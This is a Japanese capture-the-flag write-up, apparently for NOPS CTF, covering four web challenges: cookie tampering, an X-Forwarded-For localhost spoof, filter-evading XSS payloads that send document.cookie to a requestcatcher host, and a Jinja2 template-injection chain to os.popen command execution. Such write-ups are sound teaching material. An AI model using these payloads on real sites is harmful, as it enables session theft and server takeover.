https://ctftime.org/event/2358
[Web] Web Cook
ソースコード無し。ユーザー名を入れるとCookieがもらえる。ユーザー名をa
にするとeyJ1c2VybmFtZSI6ImEiLCJpc0FkbWluIjowfQ%3D%3D
がもらえる。
URLデコードしてBase64デコードすれば復元できそうで、できる。{"username":"a","isAdmin":0}
こんな感じFrom_Base64('A-Za-z0-9%2B/%3D',true,false)&input=ZXlKMWMyVnlibUZ0WlNJNkltRWlMQ0pwYzBGa2JXbHVJam93ZlElM0QlM0Q)
ルールが分かれば改ざんができる。{"username":"a","isAdmin":1}
をルールに従ってエンコードしてeyJ1c2VybmFtZSI6ImEiLCJpc0FkbWluIjoxfQ%3D%3D
にして、これをCookieに入れてサイトを見るとフラグが得られる。
[Web] Outsiders
ソースコード無し。サイトはYou come from the big outside, I don't trust you.
と書かれた1ページのみ。サイトのソースコードにも気になる情報無し。guess問っぽいので色々考える。コメントから推測し、内部からのアクセスを装う方針が正解だった。HTTPリクエストヘッダーにX-Forwarded-For: 127.0.0.1
を追加すればフラグがもらえる。つまり、以下のリクエストでフラグ獲得。
GET / HTTP/1.1 Host: nopsctf-outsiders.chals.io X-Forwarded-For: 127.0.0.1
[Web] XSS Lab
ソースコード無し。XSSのpayloadを投げてcookieを抜いてくる問題。
XSS ME 1
Write a payload to be sent to the bot! Your goal is to steal his cookies.
For the first step, the payload is not filtered.
filteringされていないのでどんなpayloadでも良さそう。普通にscriptでまずは書いたがうまく動かなかったので、適当にimgタグを入れてちょっとだけ負荷を上げてやると得られた。
<img src="https://[yours].requestcatcher.com/test"><script>fetch('https://[yours].requestcatcher.com/flag', { method : 'post', body: document.cookie })</script>
これによりxss2=/bf2a73106a3aa48bab9b8b47e4bd350e
というのが得られる。
XSS ME 2
Write a payload to be sent to the bot! Your goal is to steal his cookies.
You have to bypass this filter:
def filter_2(payload):
return payload.lower().replace("script", "").replace("img", "").replace("svg", "")
フィルタが追加になった。st98さんのとこで見たonanimationendを使ってみる。img,scriptは1度しか消してないからimimgg
、scrscriptipt
にすればよい。
<imimgg src="https://[yours].requestcatcher.com/test"><scrscriptipt>fetch('https://[yours].requestcatcher.com/flag', { method : 'post', body: document.cookie })</scrscriptipt>
xss3=/3e79c8a64bd10f5fa897b7832384f043
が得られる。
XSS ME 3
Write a payload to be sent to the bot! Your goal is to steal his cookies.
You have to bypass this filter:
def filter_3(payload): if "://" in payload.lower(): return "Nope" if "document" in payload.lower(): return "Nope" if "cookie" in payload.lower(): return "Nope" return payload.lower().replace("script", "").replace("img", "").replace("svg", "")
https://
は//
としても同じなので変更してしまい、document.cookie
は配列のような参照と文字列分割を使ってthis['doc'+'ument']['coo'+'kie']
に変更しよう。
<imimgg src="//[yours].requestcatcher.com/test"><scrscriptipt>fetch('//[yours].requestcatcher.com/flag', { method : 'post', body: this['doc'+'ument']['coo'+'kie'] })</scrscriptipt>
xss4=/f40e749b80cff27f8e726b2a95740dd6
XSS ME 4
Write a payload to be sent to the bot! Your goal is to steal his cookies.
You have to bypass this filter:
def filter_4(payload): if any(c in payload for c in '+"/'): return "Nope" if "://" in payload.lower(): return "Nope" if "document" in payload.lower(): return "Nope" if "cookie" in payload.lower(): return "Nope" return payload.replace("script", "").replace("img", "").replace("svg", "")
追加で+"/
の仕様が制限された。"
は'
に変更すればよい。+/
の変更が厄介だがimgタグのsrcはHTML Entityでエンコードすれば回避可能。後半のscriptタグは閉じタグが作れないので困った。自分のチートシートを見ながら色々試すと<iframe src='javascript:alert("XSS");'>
が使えた。閉じタグが本来は必要だが、省略しても動いた。中のjavascript:...
部分については、imgタグのsrcと同様にHTML Entityでエンコードすれば内容を回避可能。これで全部回避できるので、javascript:fetch('https://[yours].requestcatcher.com/flag', { method : 'post', body: document.cookie });
をTo HTML Entityにして、iframeのsrcに入れて以下のようにまとめてやるとフラグが得られる。こんな感じ&input=amF2YXNjcmlwdDpmZXRjaCgnaHR0cHM6Ly9beW91cnNdLnJlcXVlc3RjYXRjaGVyLmNvbS9mbGFnJywgeyBtZXRob2QgOiAncG9zdCcsIGJvZHk6IGRvY3VtZW50LmNvb2tpZSB9KTs&oeol=CR)
<imimgg src='//[yours].requestcatcher.com/test'><iframe src='javascript:fetch('https://[yours].requestcatcher.com/flag', { method : 'post', body: document.cookie });'>
[Web] Get A Gift
ソースコード無し。ギフトコードの入力が求められる。The flag is N0PS{Valid-gift-code}
がフラグの仕様。ギフトコードの仕様はクライアント側javascriptコードで以下のように検証されていた。
<script> document .getElementById("gift-form") .addEventListener("submit", function (e) { e.preventDefault(); let code = document.getElementById("code").value; if (code.length == 0) { alert("Please enter your gift code!"); return; } if (/[A-Z]{4}-[0-9]{4}-.{4,}/g.test(code) == false) { alert("Please enter a valid gift code!"); return; } document.getElementById("gift-form").submit(); }); </script>
placeholderで例示されているようにABDC-1234-aB@358vG
のような感じ。入力するとThe code ABDC-1234-aB@358vG is invalid.
という風にreflectされてきた。怪しい。色々試すと{{4*4}}
が{4*4}
になって帰ってきた。フィルタリングの存在をguessして色々試すとABDC-1234-1234{% print "s" %}
がABDC-1234-1234s
と帰ってきた。ok.
このことからPythonのjinja2のSSTIができるみたいなので色々やる。色々やるとsubclassesが引っ張ってこれたのでwarningを経由してbuiltinsを持って来る方針を使う。ref
ガチャガチャやるとABCD-1234-1234-{% print [].__class__.__mro__[1] %}
でABCD-1234-1234-<class 'object'>
が帰ってくる。ok. ABCD-1234-1234-{% print [].__class__.__mro__[1].__subclasses__() %}
でsubclassesを列挙して、warningを探す。ABCD-1234-1234-{% print [].__class__.__mro__[1].__subclasses__()[223] %}
で<class 'warnings.catch_warnings'>
が帰るので223番目(0-indexed)にありますね。これを使えばABCD-1234-1234-{% print [].__class__.__mro__[1].__subclasses__()[223]()._module.__builtins__ %}
のようにしてbuiltinsが得られるので、そこからimport経由でosパッケージを引っ張ってきてRCEする。ABCD-1234-1234-{% print [].__class__.__mro__[1].__subclasses__()[223]()._module.__builtins__.__import__("os").popen("ls").read() %}
でディレクトリリスティングが確認できる。app.pyというのがあったのでこれを持って来るとソースコードが見られる。ABCD-1234-1234-{% print [].__class__.__mro__[1].__subclasses__()[223]()._module.__builtins__.__import__("os").popen("cat${IFS}app.py").read() %}
のようにスペースを使うと失敗するので${IFS}
に置換している。予想通りのフィルターが入っていた。code = re.sub("[ ]+", '', re.sub("[\}]+", '}', re.sub("[\{]+", '{', code)))
。ソースコードを眺めるとフラグとなるvalid_codeが定義されていて、フラグの形式に整形して提出すると正答。